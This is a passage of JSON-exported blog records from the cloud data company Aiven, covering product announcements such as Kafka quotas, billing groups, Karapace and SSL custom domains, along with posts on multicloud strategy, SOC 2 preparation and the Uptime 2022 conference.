\n\n   Most of the use cases that were handled in dedicated single-purpose Kafka clusters before, can now be equally managed in a shared multi-purpose cluster, providing the additional benefit of data and schema consolidation. \n\n   Configuring quotas in Apache Kafka minimizes time spent by data platform teams in figuring out new data schemas for the different Kafka topics. This significantly reduces time spent on duplicating schemas across clusters while speeding up teams with value creation and accelerating their time-to-market.\n\n![Key benefits of quotas in Apache Kafka: more accurate operations and governance for your Kafka environment, Greater cost optimization of your Kafka resources, Minimization of date and schema duplication](https://cdn.sanity.io/images/sczeoy4w/production/2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016.png?w=450)\n\n## Supported quota types in Aiven for Apache Kafka\n\nAiven for Apache Kafka now comes with different quotas to help you manage resources effectively. These quotas offer greater flexibility in how you manage network bandwidth and CPU usage:\n\n- **Consumer throttle (Network bandwidth quota)**: This quota allows you to limit the amount of data a consumer can retrieve from the Kafka cluster per second. Setting a maximum network throughput prevents any single consumer from using excessive network bandwidth.\n\n- **Producer throttle (Network bandwidth quota)**: Similar to the consumer throttle, this quota limits the amount of data a producer can send to the Kafka cluster per second. It ensures that producers do not overload the system by sending excessive data, thereby maintaining system stability.\n\n- **CPU throttle**: This quota is about managing CPU usage. You can manage CPU usage by setting a percentage of the total CPU time. Limiting the CPU resources for specific client IDs or users prevents any individual from monopolizing CPU resources, promoting fairness and efficient resource utilization.\n\nFor more information on Client IDs and users in Quotas as well as Quotas enforcement, you can check the relevant [documentation](https://aiven.io/docs/products/kafka/concepts/kafka-quotas).\n\n\n## Getting Started\n\nYou can easily add and manage quotas for your Aiven for Apache Kafka® service directly in the [Aiven Console](https://console.aiven.io/) or by using the [Aiven API](https://api.aiven.io/doc/). For a detailed description of how to add, set or modify quotas in your Aiven for Apache Kafka instance, please follow the steps in our [documentation](https://aiven.io/docs/products/kafka/howto/manage-quotas).\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore Aiven for Apache Kafka firsthand or start your free 30-day [here](https://aiven.io/how-to-get-started-with-aiven)!\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)\n","categories":[{"_key":"53178102f9c1","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for Apache Kafka, Kafka, Apache Kafka, Kafka Quotas, Quotas in Apache Kafka, Introduction to Quotas in Kafka, Kafka managed service, fully managed Kafka ","asset":{"_ref":"image-0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-11T09:35:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® brings Kafka quotas to help organizations control the resources client applications can use in a Kafka cluster.","metaImage":{"_type":"mainImage","alt":"Aiven for Apache Kafka, Kafka, Apache Kafka, Kafka Quotas, Quotas in Apache Kafka, Introduction to Quotas in Kafka, Kafka managed service, fully managed Kafka ","asset":{"_ref":"image-0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844-png","_type":"reference"}},"metaTitle":"Introducing Kafka Quotas in Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/introducing-kafka-quotas-in-aiven-for-apache-kafka"},"subtitle":"Aiven for Apache Kafka® brings Kafka quotas to help organizations control the resources client applications can use in a Kafka cluster.","title":"Introducing Kafka Quotas in Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4C5UIf1wmPv4LWxJjF8Doh","_rev":"2TBrbODd4ENN9GFOVKso0T","_type":"post","_updatedAt":"2023-06-14T10:08:11Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"We’ll keep this short: __Aiven has embarked on the SOC 2 compliance journey.__ To that end, Aiven has enlisted the services of one of the top 3 consulting companies in the world to help with the process and we expect to be SOC 2 compliant within the next few months.\n\nOur current list of compliance standards can be found on our [compliance page](/security-compliance). The fact that we are already ISO 27001 compliant makes us much better prepared for the challenges of SOC 2 compliance.\n\nAiven has stringent Information Security Management Systems (ISMS) policies and procedures in place to deal with such compliance standards and therefore expects the SOC 2 compliance process to go fairly smoothly and quickly.\n\n\u003e Please check back with us for updates on Aiven's SOC 2 compliance status.\n\nNot a customer? [Try Aiven services with our free 30 day trial](https://console.aiven.io/signup). And don’t forget to join our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to get the latest news.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405-png","_type":"reference"}},"publishedAt":"2019-05-08T00:00:00.000Z","seo":{"metaDescription":"Aiven Blog: In 2019, Aiven's road to being SOC 2 compliant | Learn more about the standard and find out what else we're compliant with. ","metaImage":{"alt":"","asset":{"_ref":"image-a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405-png","_type":"reference"}},"metaTitle":"Aiven preparing for SOC 2 compliance"},"slug":{"_type":"slug","current":"/blog/aiven-preparing-for-soc-2-compliance"},"subtitle":"Aiven Blog: In 2019, Aiven's road to being SOC 2 compliant | Learn more about the standard and find out what else we're compliant with. ","title":"Aiven preparing for SOC 2 compliance"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4KDZ3wG3VN6fg9HvDiZlZ7","_rev":"2TBrbODd4ENN9GFOVLnjUD","_type":"post","_updatedAt":"2023-08-03T10:37:04Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Starting with [Teams](https://aiven.io/blog/managing-projects-just-got-easier-in-aiven \"Link to Aiven blog post about Teams\") in June, we announced that we were building console features that would make account management a lot easier for large organizations. Teams was aimed at streamlining user management, and now we add a feature that makes invoicing easier: Billing Groups.\n\nCombined, Teams and Billing Groups do for admin work what the Aiven platform does for cloud infrastructure: they make management efficient and truly scalable. In this post, we’ll discuss what problems the Billing Groups feature solves.\n## Why billing groups?\nBefore the Billing Groups feature, you would set up your billing by associating a payment card with a given project. While suitable for smaller environments, it doesn’t really scale. If your company had multiple projects running at Aiven, you had to provide the billing information separately for each project, and eventually you paid a bunch of separate invoices. With Billing Groups, you just provide the billing information once.\n\nNow you can easily combine the costs of projects associated with an account. This gives you one single invoice to pay and makes it easy to see your total service cost. Or, if you prefer, you can set up multiple billing groups to meaningfully track costs in a more granular way. This way you can get separate yet consolidated invoices for your development, staging and production environments.\n\nIn the setup phase, it also means less work when providing payment information for multiple projects. You can even define a primary billing group for an account, so that whenever you start a new project, it belongs to that billing group by default. And if you need to set up many billing groups, you can copy billing data from existing groups to make it even handier.\n\nThe new updated Invoice API now allows you to view project costs broken up into line items. You can conveniently export them to your BI tool for tracking and visualizing spending information.\n\nFor a full list of these enhancements that simplify your life, read our [help article](https://app.intercom.com/a/apps/reo7593q/articles/articles/4634847/show \"Link to help article in Intercom\"). It also tells you how to get started with Billing Groups for your organization.\n\n## Wrapping up\nThe Billing Groups account management features make administering the environments often associated with larger organizations a lot easier, rendering Aiven even more suitable for enterprise-level workloads. \n\nP.S. You may be wondering what’s next. Here’s a hint: it has to do with how you manage your customized [support contracts](https://help.aiven.io/en/articles/868101-aiven-support-details \"Link to Aiven support details\") with us. Keep checking our blog!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844-png","_type":"reference"}},"publishedAt":"2020-12-28T00:00:00.000Z","seo":{"metaDescription":"Read how organizations can now set up centralized invoicing at Aiven, making cost monitoring easy and payments simple.","metaImage":{"alt":"","asset":{"_ref":"image-803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844-png","_type":"reference"}},"metaTitle":"Better cost management with billing groups"},"slug":{"_type":"slug","current":"/blog/better-cost-management-with-billing-groups"},"subtitle":"Read how organizations can now set up centralized invoicing at Aiven, making cost monitoring easy and payments simple.","title":"Better cost management with billing groups"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4VL1OL0vJqW13kF2gRM0Rc","_rev":"lhvtNBOlLYH5KiQFQ8YLJH","_type":"post","_updatedAt":"2024-01-29T15:37:56Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports Apache Kafka version 2.5, allowing you to launch a managed Kafka service on any of our supported clouds and their regions, including AWS, GCP, and Microsoft Azure. Aiven is among the first cloud services to provide [Apache Kafka 2.5 as a fully managed service](/kafka).\n\n## Enhancements and improvements\n\nThis release takes further steps to deprecate ZooKeeper and improve support for Kafka’s administrative API which will replace ZooKeeper access in admin tools. There are also features to support _exactly once semantics (EOS)_, which provide transactional message-processing guarantees. Let’s look at some of these improvements in more detail:\n\n### Removal of dependencies on Apache ZooKeeper\n\n- [KIP-500](https://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum) replaces ZooKeeper with a self-managed metadata quorum, and implements the following fixes in Apache Kafka 2.5:\n  - [KIP-555](https://cwiki.apache.org/confluence/display/KAFKA/KIP-555%3A+Deprecate+Direct+Zookeeper+access+in+Kafka+Administrative+Tools) - deprecates direct ZooKeeper access in Kafka administrative tools\n  - [KIP-543](https://cwiki.apache.org/confluence/display/KAFKA/KIP-543%3A+Expand+ConfigCommand%27s+non-ZK+functionality) - expands ```ConfigCommand```’s non-ZooKeeper functionality, so that instead of relying on direct ZooKeeper access, [it can now issue administrative](/) calls instead via a broker using ```KafkaAdminClient```.\n\n### Improvements to exactly once semantics\n\n- [KIP-447](https://cwiki.apache.org/confluence/display/KAFKA/KIP-447%3A+Producer+scalability+for+exactly+once+semantics) - implements and improves producer scalability for exactly once semantics (EOS).\n\n\n- [KIP-360](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=89068820) - improves reliability of producer by addressing a problem with producer state retention.\n\nThere are also a number of metrics and operational enhancements along with improvements to Kafka Connect and Kafka Streams. For the complete picture, [see this post](https://blogs.apache.org/kafka/entry/what-s-new-in-apache2).\n\n## How to get Aiven for Apache Kafka 2.5\n\nWhen creating your Kafka service from Aiven console, simply select ‘2.5’ in the drop-down menu from the Kafka service box. You can also create a Kafka 2.5 service by using the appropriate switch from the Aiven [REST API](https://aiven.io/docs/tools/api), the [command line](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) interface, or your [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\n## Wrapping up\nWith Kafka 2.5, you’ll get enhancements for scalability, metrics and security features, along with EOS improvements and much more. We’ll be continually adding the newest versions of all of our hosted services, so check out our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to follow the latest releases.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-22cd3bf165c44da3244890f08f23c1738a157219-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-05-05T00:00:00.000Z","seo":{"metaDescription":"The latest edition of Apache Kafka, 2.5, is now available on Aiven as a managed service. Find out what they are and how to get it.","metaImage":{"alt":"","asset":{"_ref":"image-22cd3bf165c44da3244890f08f23c1738a157219-1200x646-jpg","_type":"reference"}},"metaTitle":"Apache Kafka® 2.5 now available on Aiven"},"slug":{"_type":"slug","current":"/blog/apache-kafka-2-5-available-on-aiven"},"subtitle":"The latest edition of Apache Kafka, 2.5, is now available on Aiven as a managed service. Find out what they are and how to get it.","title":"Apache Kafka® 2.5 now available on Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4YXUQMGtng5hcyF4B5K0cR","_rev":"V5UdSzFEWrLT7ZlMFNlRAB","_type":"post","_updatedAt":"2023-06-21T08:29:32Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## What is multicloud?\nMulticloud is, honestly, the future. It refers to setting up your data architecture so that you're not running all your services in one cloud and one region but spread them out across several cloud environments.\n\n[According to Gartner](https://www.gartner.com/en/conferences/apac/infrastructure-operations-cloud-india/featured-topics/cloud), 81% of public cloud users already use two or more cloud providers, and the trend is growing. If you're already using a multicloud approach, this won't surprise you at all. But if you're new to the world of the clouds, perhaps just leaving the comfy nest of corporate on-premises architecture, you might wonder why one cloud isn't enough.\n## The 4 big benefits of multicloud\nBuilding your data architecture on a multicloud basis has lots of benefits. In this section we'll take a closer look at some of them. (But here's the tl;dr: Select your cloud environment to match what you want to do with it, or risk ending up with a suboptimal architecture.)\n### 1. Get the best of all worlds\nDifferent clouds have different strengths. Built on different technologies, they each offer slightly different tools for building applications. They each support a unique set of features for product development as well as for the applications themselves.\n\nWith a multicloud approach you can also run workloads in environments with just the right performance profiles. In other words, select your environment on the basis of the type of loads you'll be running, instead of limiting yourself to what a single cloud can handle.\n\nClouds also differ in terms of security compliance and physical data location. This is especially important for regulated industries. True, a multicloud approach can also pose challenges in this area - but see the next section for some solutions.\n### 2. Unlimited power!\nIf you don't limit yourself to a single cloud provider, not only do you get access to a wider variety of tools and features, but also the option to enhance the performance of your overall development environment. By running multiple environments at once, you multiply also the bandwidth and storage performance.\n### 3. Freedom to roll\nUsing multiple clouds is the best way to eliminate vendor lock-in. By operating in many clouds, you ensure that you'll never become dependent on any one of them. You develop practices, and products, that work in many environments. This makes any future restructuring much easier.\n### 4. Backing it up\nDepending on how you set things up, you may have backups ready to go whenever one cloud provider's environment goes down. At the very least, operating in a multicloud setup gives you a near-instant capability to compensate for the loss.\n## 3 challenges - and 3 solutions\nThat's all well and good, but unfortunately life is seldom simple. Multicloud comes with its own set of challenges and insecurities. The thing is... not to go all sales-y and marketing-y here but... using a multicloud provider like Aiven helps with all of them!\n### 1. Managing complexity?\nManaging more than one cloud is hard work, and/or a good management system. You have to set up and configure the environments and then monitor them effectively. However, a multicloud provider will have a unified management system that can handle multiple clouds and projects - like the [Aiven Teams feature](https://aiven.io/blog/managing-projects-just-got-easier-in-aiven). With Aiven, it's also easy to deploy to and manage several cloud environments from the same UI.\n### 2. Security issues?\nPublic cloud is secure, we all know that (see for example [this blog post](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service), reason '#5), but it's absolutely true that using multiple clouds means more work for the security team than just one cloud. You need a robust security strategy. However, with a multicloud provider, much of that complexity rests with them.\n### 3. Loss of bonuses?\nIf your multicloud strategy rests on surfing between clouds, then yes, you may lose out on loyalty bonuses like discounted rates or priority services. Then again, if you're eligible for [Aiven's Bring Your Own Account model](https://app.intercom.com/a/apps/reo7593q/articles/articles/2353018/show), it may be possible to keep your cake and eat it, too.\nBesides, if you go through a marketplace, Aiven services count towards your committed use, accumulating discounts themselves.\n## Wrapping up\nAiven is a multicloud service provider. We offer, out of the box, plans in five clouds (GCP, AWS, Azure, UpCloud and DigitalOcean) and about a hundred separate cloud regions. With us, you can take advantage of the best cloud and region combination.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-22T00:00:00.000Z","seo":{"metaDescription":"Is your cloud strategy already based on using multiple cloud environments and regions? Read about the benefits and challenges of multicloud. ","metaImage":{"alt":"","asset":{"_ref":"image-6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844-png","_type":"reference"}},"metaTitle":"Making the most of multicloud architecture"},"slug":{"_type":"slug","current":"/blog/getting-the-most-of-multi-cloud"},"subtitle":"Is your cloud strategy already based on using multiple cloud environments and regions? Read about the benefits and challenges of multicloud. ","title":"Making the most of multicloud architecture"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4kZePZcGxjPJAFk0KUyhp2","_rev":"V5UdSzFEWrLT7ZlMFNlRFj","_type":"post","_updatedAt":"2023-06-22T14:00:26Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"[Karapace](https://karapace.io) is an open source HTTP API interface and schema registry for Apache Kafka®, the open source distributed event streaming platform.\n\nIt's an open source project, so you can find [Karapace on GitHub](https://github.com/aiven/karapace), under the Aiven organization. Adding Karapace to your Apache Kafka project gives additional functionality that can be very useful in event-driven or other data-centric applications.\n\n## Apache Kafka® and data schemas\n\nOne of the key features Karapace offers is the schema registry. So what is a schema registry? Let's recap on what a schema is and how we use one with Kafka.\n\nKafka is a very flexible and powerful tool, allowing users to add data of any format or structure to any topic. However, with great power comes great responsibility, and for many applications, flexibility in data structures is definitely not a feature. A schema is a way to describe the data format of a message payload. It will describe the fields, their data types, and default values if applicable.\n\nBecause Kafka doesn't have an opinion about the structure of your data, an additional tool called a *schema registry* is needed. The schema registry is a separate tool, so consumers and producers should be configured with the location of this additional endpoint. As the name implies, the desired schema can be registered with the schema registry.\n\n## Why use Karapace\n\nOnce the schema is registered, producers can validate their payload against the expected schema before producing the record on to the topic. For applications that use compression formats such as [Apache Avro](https://avro.apache.org/), the schema registry is essential. Producers register the schema they used to compress the message payload, and include the schema version number with the message. Consumers can pick up the message, check the version of the schema used, and consult the schema registry to understand the field ordering and other details.\n\nKarapace includes schema registry functionality with support for JSON Schema, Avro and Protobuf data formats. Using a schema registry allows all components of an application to share a common data structure definition. It is also to register multiple versions of a schema with the schema registry if the data format needs to evolve.\n\n## RESTful API endpoints for Apache Kafka\n\nAnother big feature available from Karapace is the addition of a RESTful HTTP API to an existing Apache Kafka installation. This extra integration adds the ability to work with Kafka over HTTP. This lets you\n\n- Work directly with data, producing and consuming messages.\n- Work with metadata, managing the topics, messages, and producer/consumer information over the API.\n\nThe additional interface makes it easier to add some extra tooling to interact with Kafka in a tech-agnostic way. You can see this in action on your [Aiven for Apache Kafka](https://aiven.io/kafka) service by browsing the data you find on the \"Topics\" tab in the Aiven Console. This functionality is provided to the web console by use of the REST API. If the Karapace HTTP API features aren't enabled for your Aiven for Apache Kafka service when you try to access these features, you see an error message.\n\n## Karapace is open source\n\nKarapace is a Python-based project, released and maintained by Aiven under the Apache 2.0 license. We are proud to be maintainers of Karapace, and we welcome issues, contributions and feature requests from others; some excellent features here were not built by us and we think that is a sign of a healthy open source project.\n\nWhether you use Karapace as part of your Aiven for Apache Kafka offering, or with another Apache Kafka solution, adding schema registry and HTTP API features to the basic Apache Kafka brings the tool to a whole new level. We would love to hear what you build with yours!\n\n## Further reading\n\n* Learn more about Karapace at [karapace.io](https://karapace.io).\n* Check out the [project repository](https://github.com/aiven/karapace) to find out how to install and use the tool locally, and connect to an existing Apache Kafka service.\n\n## Wrapping up\nWe've looked at the basics of using a schema registry with Apache Kafka, and what using Karapace can do to elevate your app.\n\nNext you could [sign up for an Aiven account](https://console.aiven.io/signup), start an Aiven for Apache Kafka service, and enable the REST and schema registry features there as a quick way to try out Karapace yourself.\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308-jpg","_type":"reference"}},"publishedAt":"2022-03-11T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Kafka® and Karapace together can bring your application to a whole new level. Find out more about the magic that is the schema registry!","metaImage":{"alt":"","asset":{"_ref":"image-30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308-jpg","_type":"reference"}},"metaTitle":"What is Karapace? | Everything you need to know for Karapace"},"slug":{"_type":"slug","current":"/blog/what-is-karapace"},"subtitle":"Apache Kafka® and Karapace together can bring your application to a whole new level. Find out more about the magic that is the schema registry!","title":"What is Karapace?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4x1KkpGw99tqSIEMkfAWxE","_rev":"cEPH2uRN58AU2lp9QO7mrB","_type":"post","_updatedAt":"2022-09-08T16:19:18Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just rolled out a new feature in Aiven: **custom domains with valid SSL certificates for web frontends**.\n\nLast week we introduced valid SSL certificates from the [Let's Encrypt](https://letsencrypt.org/) for our [Grafana](/grafana) and [Kibana (Elasticsearch frontend)](/opensearch) services in Aiven.  This allows your browser to immediately recognize and trust the web frontend services you launch from Aiven which we host at domains like grafana.my-project.aivencloud.com.  Previously the services' certificates were signed by Aiven's own CA which caused web browsers to prompt a warning.\n\nWith the launch of the _Custom Domains_ feature today you can create a [CNAME](https://en.wikipedia.org/wiki/CNAME_record) in your own domain pointing to your Aiven service.  Once the CNAME is set up you can register it in Aiven using our [Web Console](https://console.aiven.io/) and we'll automatically set up a valid SSL certificate for it.  This way you can set up secure services like grafana.example.com and search.example.com in a just a few clicks in our console.\n\n### Try SSL-enabled custom domains for free\n\nYou can sign up for a free trial of our services at [aiven.io](/) and try all of our services with US$10 worth of free credits, including ones with SSL certificates for custom domains.\n\nThe SSL certificate feature is available in all Startup, Business and Premium plans for Grafana and Elasticsearch.  If the Let's Encrypt project lifts its SSL certificate creation limits we may be able to provide this service also for Hobbyist plans in the future.\n\n### We value your feedback\n\nWe are always interested in ways of making our service better.  Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-04-26T18:09:00.000Z","seo":{"metaDescription":"Now your browser will immediately recognize your web frontend services launched from Aiven. Find out how you can set up SSL-enabled custom domains here.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"SSL-enabled custom domains in Aiven for Grafana® and Kibana"},"slug":{"_type":"slug","current":"/blog/ssl-enabled-custom-domains-grafana-kibana"},"subtitle":"Now your browser will immediately recognize your web frontend services launched from Aiven. Find out how you can set up SSL-enabled custom domains here.","title":"SSL-enabled custom domains in Aiven for Grafana® and Kibana"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"536vpVSddDZLiORDT173j3","_rev":"QRl2cGoCgj0FlAhkRriT0P","_type":"post","_updatedAt":"2022-09-08T16:30:56Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"[Uptime 2022](https://uptime.aiven.io/ \"Uptime Website\") is coming in just a few months and we’re very excited to meet the open source data community on September 14-15! The conference will be held at Pakhuis de Zwijger in Amsterdam (we’re meeting in-person, yay!), and rest assured that the schedule will be packed with insightful content. \n\nOur program committee has put together a great selection of breakout sessions and keynotes on open source data tech topics.\n\n## Program Highlights \nFor our first edition of Uptime, we’re proud to have some truly inspiring keynotes. Jason Yee from Gremlin will kick off the first day with a keynote discussing data systems and the power of open source. And at the end of the first day, no one wants to miss out on the talk by Rob Barnes from HashiCorp on [data security and a zero trust approach](https://uptime.aiven.io/session/340500 \"Link to the session\"). \n\n[Amanda Brock from OpenUK](https://uptime.aiven.io/session/340504 \"Link to Amanda Brock's keynote\") will kick off the second day with a keynote that sounds thought-provoking: navigating the Open Source Definition in times of conflict.\n\nTo round off the conference, we’ll hear from [Dirk-Willem van Gulik](https://uptime.aiven.io/session/340506 \"Link to Dirk-Willem's keynote\"), Founder, first President and Member of the Apache Software Foundation.\n\n### Databases\nThere’s quite a selection of open source database talks, so it’s hard to pick favorites; but here are some delectable tidbits.\n\nFor those who are curious about databases in containers, we recommend checking out the sessions “[A journey to MySQL in K8s](https://uptime.aiven.io/session/340533 \"Link to Elisa's session\")” by Elisa Usai and “[Deploying PostgreSQL on Kubernetes](https://uptime.aiven.io/session/340532 \"Deploying PostgreSQL on Kubernetes\")” by Karen Jex. \n\nFor those interested in columnar databases and OLAP, this [ClickHouse talk](https://uptime.aiven.io/session/325413 \"ClickHouse talk\") by Olena Kutsenko is a great option to help you understand how to make the most of it. There is also [a session about Apache Pinot](https://uptime.aiven.io/session/324401 \"a session about Apache Pinot\") by Mark Needham and Karin Wolok. They will talk about the OLAP database designed for ultra low latency analytics and how it works with Apache Kafka. \n\nFor more PostgreSQL and MySQL goodness, be sure to check out “[Aggregates in PGX: An Adventure](https://uptime.aiven.io/session/340521 \"Aggregates in PGX: An Adventure\")” by James Blackwood-Sewell and “[Explaining EXPLAIN](https://uptime.aiven.io/session/325599 \"Explaining EXPLAIN\")” by Dave Stokes to learn how to optimize your queries. \n\n### Data Streaming\nThis is one of the hottest topics at Uptime 2022 and we hope you’re excited to learn about *all of the tools*. Christopher Hoult will give [an introduction to Benthos](https://uptime.aiven.io/session/325310 \"an introduction to Benthos\") - which promises \"fancy stream processing made operationally mundane\". This will be useful for learning some techniques that improve your real-time processing efforts and increase the business value you can derive from your data flows.  \n\nFor all the fans of Apache Kafka and Apache Flink, we’ve got a great selection of talks. Check this out:\n\n- [De-siloing microservice data with change capture and Apache Flink](https://uptime.aiven.io/session/325428 \"De-siloing mircroservice data with change capture and Apache Flink\") by Frank Lyaruu\n- [Apache Kafka and Flink: Stateful Streaming Data Pipelines made easy with SQL](https://uptime.aiven.io/session/325396 \"Apache Kafka and Flink: Stateful Streaming Data Pipelines made easy with SQL\") by Francesco Tisiot\n- [Apache Flink - Only SQL](https://uptime.aiven.io/session/325604 \"Apache Flink - Only SQL\") by Martijn Visser\n- [Building FLiPN Stack Edge AI Applications](https://uptime.aiven.io/session/320757 \"Building FLiPN Stack Edge AI Applications\") by Gilles Barbier (this talk covers Apache NiFi and Apache Pulsar, which are both interesting to learn about!)\n- A lightning talk by Francesco Tisiot “[No pineapple on pizza! Streaming anomaly detection with Apache Kafka and Apache Flink](https://uptime.aiven.io/session/325620 \"No pineapple on pizza! Streaming anomaly detection with Apache Kafka and Apache Flink\")” \n\n### Metrics, Monitoring, and Observability\nFor some metrics and monitoring content, check out the lightning talks by Dave Stoke “[Monitoring Your Open Source Database with Percona Monitoring And Management for Beginners](https://uptime.aiven.io/session/325500 \"Monitoring Your Open Source Database with Percona Monitoring And Management for Beginners\")” and Steve Flanders “[5 Reasons Why OpenTelemetry is the Future of Observability](https://uptime.aiven.io/session/325011 \"5 Reasons Why OpenTelemetry is the Future of Observability\")”. Steve will also dive deeper into OpenTelemetry in his breakout session [about the components of OpenTelemetry and how you can get started](https://uptime.aiven.io/session/325010 \"about the components of OpenTelemetry and how you can get started\"). Daniel González Lopes will introduce you to Grafana k6 - a developer-centric and open-source load testing tool built for making performance testing a productive and enjoyable experience.\n\n### See you in Amsterdam! \nWe hope this blog post inspires you to join us on September 14-15 - [claim your ticket here](https://uptime.aiven.io/registration \"claim your ticket here\")! Rest assured, there will be plenty of opportunities to interact with fellow developers, learn from great speakers, and simply have fun! \n\nThis event is also a great opportunity for us to give back to the open source community, as we’ll be donating 100% from registration fees to open source foundations. 